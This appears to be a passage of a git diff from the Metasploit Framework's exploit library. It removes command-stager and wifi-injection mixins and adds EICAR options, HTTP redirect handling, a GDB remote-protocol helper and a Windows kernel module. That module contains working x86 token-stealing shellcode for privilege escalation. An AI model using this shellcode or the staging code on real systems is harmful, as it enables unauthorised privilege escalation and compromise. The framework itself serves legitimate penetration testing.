a/lib/msf/core/exploit/cmdstager_echo.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho. -# -# This stager uses the echo's "-e" flag, that enable interpretation of -# backslash escapes, to drop an ELF with the payload embedded to disk. -# The "-e" flag is usually available on linux environments. This stager -# has been found useful on restricted linux based embedded devices, and -# should work on either: -# * Systems with busy box's echo binary somewhere in $PATH. -# * Systems with bash/zsh whose echo builtin supports -en flags. -# * Systems with GNU coreutils echo which supports -en flags. -# -#### - -module Exploit::CmdStagerEcho - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerEcho instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerEcho] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerEcho.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb deleted file mode 100644 index faad1f9d2a..0000000000 --- a/lib/msf/core/exploit/cmdstager_printf.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. -# -# This stager uses a POSIX-conformant printf, that supports the interpretation -# of octal escapes, to drop an ELF with the payload embedded to disk. -#### - -module Exploit::CmdStagerPrintf - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerPrintf instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerPrintf.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_tftp.rb b/lib/msf/core/exploit/cmdstager_tftp.rb deleted file mode 100644 index d827f2ac05..0000000000 --- a/lib/msf/core/exploit/cmdstager_tftp.rb +++ /dev/null @@ -1,67 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'msf/core/exploit/tftp' -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerTFTP - - include Msf::Exploit::CmdStager - include Msf::Exploit::TFTPServer - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'TFTPHOST', [ false, 'The address of the machine hosting the file via TFTP.' ]), - OptString.new( 'TFTPRSRC', [ false, 'The filename of the TFTP-hosted resource.' ]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerTFTP.new(exe) - end - - def execute_cmdstager(opts = {}) - tftphost = datastore['TFTPHOST'] - tftphost ||= datastore['SRVHOST'] - tftphost ||= datastore['LHOST'] - - @exe_tag = datastore['TFTPRSRC'] - @exe_tag ||= Rex::Text.rand_text_alphanumeric(8) - - opts.merge!({ :tftphost => tftphost, :transid => @exe_tag }) - - super - end - - # - # Start the service and register the file - # - def execute_cmdstager_begin(opts) - start_service(@exe_tag, @exe) - end - - # - # Stop the service - # - def execute_cmdstager_end(opts) - stop_service - end - - def payload_exe - return nil if not @stager_instance - @stager_instance.payload_exe - end - -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs.rb b/lib/msf/core/exploit/cmdstager_vbs.rb deleted file mode 100644 index 7e3d05bd71..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb b/lib/msf/core/exploit/cmdstager_vbs_adodb.rb deleted file mode 100644 index ddedf4343e..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS::ADODB - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_adodb")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index dd9b593152..74b5c88485 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -16,12 +16,14 @@ module Exploit::EXE # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb register_advanced_options( [ + OptBool.new( 'EXE::EICAR', [ false, 'Generate an EICAR file instead of regular payload exe']), OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]), OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]), + OptBool.new( 'MSI::EICAR', [ false, 'Generate an EICAR file instead of regular payload msi']), OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), @@ -29,6 +31,13 @@ module Exploit::EXE ], self.class) end + # Avoid stating the string directly, don't want to get caught by local + # antivirus! + def get_eicar_exe + obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"] + obfus_eicar.join("-").upcase + end + def get_custom_exe(path=nil) path ||= datastore['EXE::Custom'] print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") @@ -41,6 +50,7 @@ module Exploit::EXE def generate_payload_exe(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -68,6 +78,7 @@ module Exploit::EXE def generate_payload_exe_service(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -90,6 +101,7 @@ module Exploit::EXE def generate_payload_dll(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -112,6 +124,7 @@ module Exploit::EXE def generate_payload_msi(opts = {}) return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_eicar_exe if datastore['MSI::EICAR'] exe = generate_payload_exe(opts) @@ -139,8 +152,10 @@ protected # Prefer the target's platform/architecture information, but use # the module's if no target specific information exists + opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance opts[:platform] ||= target_platform if self.respond_to? :target_platform opts[:platform] ||= platform if self.respond_to? :platform + opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance opts[:arch] ||= target_arch if self.respond_to? :target_arch opts[:arch] ||= arch if self.respond_to? :arch end diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 8ce6cf1a83..6a658243b0 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -122,7 +122,7 @@ module Exploit::FileDropper end @dropped_files.each do |f| - print_warning("This exploit may require manual cleanup of: #{f}") + print_warning("This exploit may require manual cleanup of '#{f}' on the target") end end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index 21fe5c5ebf..a1c8cc9589 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -43,7 +43,7 @@ module Exploit::Remote::Ftp # # This method establishes an FTP connection to host and port specified by - # the RHOST and RPORT options, respectively. After connecting, the banner + # the 'rhost' and 'rport' methods. After connecting, the banner # message is read in and stored in the 'banner' attribute. # def connect(global = true, verbose = nil) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb new file mode 100644 index 0000000000..d6c7cb2cf7 --- /dev/null +++ b/lib/msf/core/exploit/gdb.rb @@ -0,0 +1,190 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/tcp' + +module Msf + +# +# Implement some helpers for communicating with a remote gdb instance. +# +# More info on the gdb protocol can be found here: +# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview +# + +module Exploit::Remote::Gdb + + include Msf::Exploit::Remote::Tcp + + # thrown when an expected ACK packet is never received + class BadAckError < RuntimeError; end + + # thrown when a response is incorrect + class BadResponseError < RuntimeError; end + + # thrown when a checksum is invalid + class BadChecksumError < RuntimeError; end + + # Default list of supported GDB features to send the to the target + GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' + + # Maps index of register in GDB that holds $PC to architecture + PC_REGISTERS = { + '08' => ARCH_X86, + '10' => ARCH_X86_64 + } + + # Send an ACK packet + def send_ack + sock.put('+') + vprint_status('Sending ack...') + end + + # Reads an ACK packet from the wire + # @raise [BadAckError] if a bad ACK is received + def read_ack + unless sock.get_once(1) == '+' + raise BadAckError + end + vprint_status('Received ack...') + end + + # Sends a command and receives an ACK from the remote. + # @param cmd [String] the gdb command to run. The command is will be + # wrapped '$' prefix and checksum. + def send_cmd(cmd) + full_cmd = '$' + cmd + '#' + checksum(cmd) + vprint_status('Sending cmd: '+full_cmd) + sock.put(full_cmd) + read_ack + end + + # Reads (and possibly decodes) from the socket and sends an ACK to verify receipt + # @param opts [Hash] the options hash + # @option opts :decode [Boolean] rle decoding should be applied to the response + # @option opts :verify [Boolean] verify the response's checksum + # @return [String] the response + # @raise [BadResponseError] if the expected response is missing + # @raise [BadChecksumError] if the checksum is invalid + def read_response(opts={}) + decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true) + res = sock.get_once + raise BadResponseError if res.nil? + raise BadChecksumError if (verify && !verify_checksum(res)) + res = decode_rle(res) if decode + vprint_status('Result: '+res) + send_ack + res + end + + # Implements decoding of gdbserver's Run-Length-Encoding that is applied + # on some hex values to collapse repeated characters. + # + # https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data + # + # @param msg [String] the message to decode + # @return [String] the decoded result + def decode_rle(msg) + vprint_status "Before decoding: #{msg}" + msg.gsub /.\*./ do |match| + match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1) + end + end + + # The two-digit checksum is computed as the modulo 256 sum of all characters + # between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum). + # @param str [String] the string to calculate the checksum of + # @return [String] hex string containing checksum + def checksum(str) + "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } + end + + # Verifies a response's checksum + # @param res [String] the response to check + # @return [Boolean] whether the checksum is valid + def verify_checksum(res) + msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2] + checksum(msg) == chksum + end + + # Writes the buffer +buf+ to the address +addr+ in the remote process's memory + # @param buf [String] the buffer to write + # @param addr [String] the hex-encoded address to write to + def write(buf, addr) + hex = Rex::Text.to_hex(buf, '') + send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}" + read_response + end + + # Steps execution and finds $PC pointer and architecture + # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + # @raise [BadResponseError] if necessary data is missing + def process_info + data = step + pc_data = data.split(';')[2] + raise BadResponseError if pc_data.nil? + pc_data = pc_data.split(':') + my_arch = PC_REGISTERS[pc_data[0]] + pc = pc_data[1] + + if my_arch.nil? + raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}" + end + + { + arch: my_arch, + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''), + pc_raw: Integer(pc, 16) + } + end + + # Continues execution of the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def continue(opts={}) + send_cmd 'vCont;c' + read_response if opts.fetch(:read, true) + end + + # Detaches from the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def detach(opts={}) + send_cmd 'D' + read_response if opts.fetch(:read, true) + end + + # Executes one instruction on the remote process + # + # The results of running "step" will look like: + # x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53 + # x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df + # The third comma-separated field will contain EIP, and the register index + # will let us deduce the remote architecture (through PC_REGISTERS lookup) + # + # @return [String] a list of key/value pairs, including current PC + def step + send_cmd 'vCont;s' + read_response(decode: true) + end + + def run(filename) + send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}" + read_response + end + + def enable_extended_mode + send_cmd("!") + read_response + end + + # Performs a handshake packet exchange + # @param features [String] the list of supported features to tell the remote + # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) + def handshake(features=GDB_FEATURES) + send_cmd features + read_response # lots of flags, nothing interesting + end + +end + +end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d614d35fd3..b6f8474cec 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient register_evasion_options( [ - OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]), + OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]), OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]), OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]), OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]), @@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient # Configure the HTTP client with the supplied parameter nclient.set_config( - 'vhost' => self.vhost(), + 'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(), 'agent' => datastore['UserAgent'], 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], @@ -187,14 +187,14 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], - 'domain' => datastore['DOMAIN'], - 'DigestAuthIIS' => datastore['DigestAuthIIS'] + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -268,8 +268,9 @@ module Exploit::Remote::HttpClient end end - # - # Connects to the server, creates a request, sends the request, reads the response + + # Connects to the server, creates a request, sends the request, + # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # @@ -283,6 +284,37 @@ module Exploit::Remote::HttpClient end end + # + # Connects to the server, creates a request, sends the request, reads the response + # if a redirect (HTTP 30x response) is received it will attempt to follow the + # direct and retrieve that URI. + # + # @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+ + # will contain the full URI. + # + def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) + res = send_request_cgi(opts, timeout) + return res unless res && res.redirect? && redirect_depth > 0 + + redirect_depth -= 1 + location = res.redirection + return res if location.nil? + + opts['redirect_uri'] = location + opts['uri'] = location.path + opts['rhost'] = location.host + opts['vhost'] = location.host + opts['rport'] = location.port + + if location.scheme == 'https' + opts['ssl'] = true + else + opts['ssl'] = false + end + + send_request_cgi!(opts, timeout, redirect_depth) + end + # # Combine the user/pass into an auth string for the HTTP Client # diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index c3eb47b22b..66ee1957bc 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -181,7 +181,8 @@ module Exploit::Remote::HttpServer 'MsfExploit' => self, }, opts['Comm'], - datastore['SSLCert'] + datastore['SSLCert'], + datastore['SSLCompression'] ) self.service.server_name = datastore['HTTP::server_name'] @@ -200,6 +201,13 @@ module Exploit::Remote::HttpServer proto = (datastore["SSL"] ? "https" : "http") + # SSLCompression may or may not actually be available. For example, on + # Ubuntu, it's disabled by default, unless the correct environment + # variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666 + if proto == "https" and datastore['SSLCompression'] + print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") + end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') @@ -700,7 +708,7 @@ protected # Returns a string containing the encrypted string and a loader # def encrypt_js(javascript, key) - js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key) + Rex::Exploitation::EncryptJS.encrypt(javascript, key) end # @@ -711,6 +719,13 @@ protected Rex::Exploitation::HeapLib.new(custom_js, opts).to_s end + # + # Returns the heaplib2 javascript + # + def js_heaplib2(custom_js = '', opts = {}) + @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) + end + def js_base64 @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end @@ -746,7 +761,6 @@ protected @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post end - # # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's # suitable for a no-spray technique. There should be an allocation that contains an array of @@ -812,6 +826,14 @@ protected @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray end + def js_explib2 + @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 + end + + def js_explib2_payload(payload="exec") + @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) + end + def js_os_detect @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end diff --git a/lib/msf/core/exploit/local/compile_c.rb b/lib/msf/core/exploit/local/compile_c.rb index 4e892b6ad9..8c0ad3e74e 100644 --- a/lib/msf/core/exploit/local/compile_c.rb +++ b/lib/msf/core/exploit/local/compile_c.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exploit::Local::CompileC diff --git a/lib/msf/core/exploit/local/linux.rb b/lib/msf/core/exploit/local/linux.rb index 5a05f5f379..b79c18f5d9 100644 --- a/lib/msf/core/exploit/local/linux.rb +++ b/lib/msf/core/exploit/local/linux.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/linux_kernel.rb b/lib/msf/core/exploit/local/linux_kernel.rb index 72a81eb6a8..4765a3409d 100644 --- a/lib/msf/core/exploit/local/linux_kernel.rb +++ b/lib/msf/core/exploit/local/linux_kernel.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb new file mode 100644 index 0000000000..48a2939b7b --- /dev/null +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -0,0 +1,164 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Local::WindowsKernel + include Msf::PostMixin + include Msf::Post::Windows::Error + + # + # Find the address of nt!HalDispatchTable. + # + # @return [Integer] The address of nt!HalDispatchTable. + # @return [nil] If the address could not be found. + # + def find_haldispatchtable + kernel_address, kernel_name = find_sys_base(nil) + if kernel_address.nil? || kernel_name.nil? + print_error("Failed to find the address of the Windows kernel") + return nil + end + vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") + + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) + if h_kernel['return'] == 0 + print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") + return nil + end + h_kernel = h_kernel['return'] + + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') + if hal_dispatch_table['return'] == 0 + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") + return nil + end + hal_dispatch_table = hal_dispatch_table['return'] + + hal_dispatch_table -= h_kernel + hal_dispatch_table += kernel_address + vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") + hal_dispatch_table + end + + # + # Find the load address for a device driver on the session. + # + # @param drvname [String, nil] The name of the module to find, otherwise the kernel + # if this value is nil. + # @return [Array] An array containing the base address and the located drivers name. + # @return [nil] If the name specified could not be found. + # + def find_sys_base(drvname) + if session.railgun.util.pointer_size == 8 + ptr = 'Q<' + else + ptr = 'V' + end + + results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + if results['return'] == 0 + print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + current_drvname = results['lpBaseName'][0,results['return']] + if drvname.nil? + if current_drvname.downcase.include?('krnl') + return address, current_drvname + end + elsif drvname == current_drvname + return address, current_drvname + end + end + end + + # + # Open a device on a meterpreter session with a call to CreateFileA and return + # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile + # are specified as nil. + # + # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. + # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. + # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. + # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. + # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. + # @return [Integer] The device handle. + # @return [nil] If the call to CreateFileA failed. + # + def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) + handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) + if handle['return'] == INVALID_HANDLE_VALUE + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") + return nil + end + handle['return'] + end + + # + # Generate token stealing shellcode suitable for use when overwriting the + # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx + # registers. + # + # @param target [Hash] The target information containing the offsets to _KPROCESS, + # _TOKEN, _UPID and _APLINKS. + # @param backup_token [Integer] An optional location to write a copy of the + # original token to so it can be restored later. + # @param arch [String] The architecture to return shellcode for. If this is nil, + # the arch will be guessed from the target and then module information. + # @return [String] The token stealing shellcode. + # @raise [ArgumentError] If the arch is incompatible. + # + def token_stealing_shellcode(target, backup_token = nil, arch = nil) + arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] + if arch.nil? && module_info['Arch'] + arch = module_info['Arch'] + arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 + end + if arch.nil? + print_error('Can not determine the target architecture') + fail ArgumentError, 'Invalid arch' + end + + tokenstealing = '' + case arch + when ARCH_X86 + tokenstealing << "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + unless backup_token.nil? + tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided + end + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ====================== + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + else + # if this is reached the issue most likely exists in the exploit module + print_error('Unsupported arch for token stealing shellcode') + fail ArgumentError, 'Invalid arch' + end + tokenstealing + end +end +end diff --git a/lib/msf/core/exploit/lorcon.rb b/lib/msf/core/exploit/lorcon.rb deleted file mode 100644 index 8f2f2562a2..0000000000 --- a/lib/msf/core/exploit/lorcon.rb +++ /dev/null @@ -1,127 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This module provides methods for sending raw 802.11 frames using the ruby-lorcon extension. -# Please see the ruby-lorcon documentation for more information. -# -### - -module Exploit::Lorcon - - # - # Initializes an instance of an exploit module that accesses a 802.11 network - # - def initialize(info = {}) - super - - - default_intf = 'ath0' - default_driver = 'madwifing' - - - if (Rex::Compat.is_windows()) - # Default to the the first airpcap device on Windows - default_intf = "\\\\.\\airpcap00" - - # Default to the airpcap driver on Windows - default_driver = 'airpcap' - end - - register_options( - [ - OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]), - OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]), - OptInt.new('CHANNEL', [true, 'The default channel number', 11]), - OptInt.new('TXRATE', [true, 'The injected transmit rate', 2]), - OptEnum.new('TXMOD', [true, 'The injected modulation type', 'DSSS', %w{DEFAULT FHSS DSSS OFDM TURBO MIMO MIMOGF}]) - ], Msf::Exploit::Lorcon - ) - - - begin - - if(Rex::Compat.is_windows()) - airpcap = Rex::FileUtils.find_full_path("airpcap.dll") - if (not airpcap) - raise RuntimeError, "The airpcap.dll library must be installed" - end - end - - require 'Lorcon' - @lorcon_loaded = true - - rescue ::Exception => e - @lorcon_loaded = false - @lorcon_error = e - end - - end - - # - # Opens a handle to the specified wireless device - # - def open_wifi - - if (not @lorcon_loaded) - print_status("The Lorcon module is not available: #{@lorcon_error}") - raise RuntimeError, "Lorcon not available" - end - - # XXX: Force the interface to be up - system("ifconfig", datastore['INTERFACE'], "up") - - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER']) - if (not self.wifi) - raise RuntimeError, "Could not open the wireless device interface" - end - - # Configure the card for reliable injection - self.wifi.fmode = "INJECT" - self.wifi.channel = (datastore['CHANNEL'] || 11).to_i - - - # Configure modulation - begin - self.wifi.modulation = datastore['TXMOD'] - rescue ::ArgumentError => e - print_status("Warning: #{e}") - end - - # Configure the transmission rate - begin - self.wifi.txrate = 